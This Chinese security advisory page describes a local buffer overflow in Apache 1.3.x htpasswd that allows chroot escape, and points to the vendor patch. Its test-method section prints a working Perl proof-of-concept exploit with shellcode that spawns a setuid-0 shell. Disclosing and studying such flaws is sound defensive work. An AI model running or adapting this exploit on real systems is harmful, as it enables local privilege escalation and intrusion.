首页 -> 安全研究

安全研究

安全漏洞
Apache 1.3.31 htpasswd本地缓冲区溢出漏洞

发布日期:2004-09-16
更新日期:2004-11-01

受影响系统:
Apache Apache 1.3.31
Apache Apache 1.3.29
Apache Apache 1.3.28
Apache Apache 1.3.27
Apache Apache 1.3.25
Apache Apache 1.3.24
Apache Apache 1.3.23
Apache Apache 1.3.22
Apache Apache 1.3.20
Apache Apache 1.3.26
    - Conectiva Linux 8.0
    - Conectiva Linux 7.0
    - Conectiva Linux 6.0
    - Debian Linux 3.0
    - Mandrake Linux Corporate Server 2.1
    - Mandrake Linux 9.0
    - RedHat Linux 8.0
    - RedHat Linux 7.3
不受影响系统:
Apache Apache 1.3.33
描述:
CVE(CAN) ID: CVE-2006-1078

Apache是一款流行的WEB服务程序。

Apache包含的htpasswd实现存在多个缓冲区溢出问题,本地攻击者可以利用这个漏洞绕过CHROOT限制。

由于apache/src/support/htpasswd.c 中的strcpy函数实现对用户和密码变量缺少正确的缓冲区边界检查,攻击者利用缓冲区溢出,可绕出Apache chroot环境限制,因为htpasswd一般使用自己的环境。

<*来源:Luiz Fernando (luiz.fc@gmail.com
  
  链接:http://archives.neohapsis.com/archives/fulldisclosure/2004-09/0547.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Luiz Fernando (luiz.fc@gmail.com)提供了如下测试方法:

#!/usr/bin/perl
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# - Luiz Fernando Camargo
# - foxtrotflowsecurity.org
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";


$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa - length($shellcode) - length($target);


print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";


local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;


exec("$target -nb $buffer");

建议:
厂商补丁:

Apache
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://httpd.apache.org/

浏览次数:4940
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障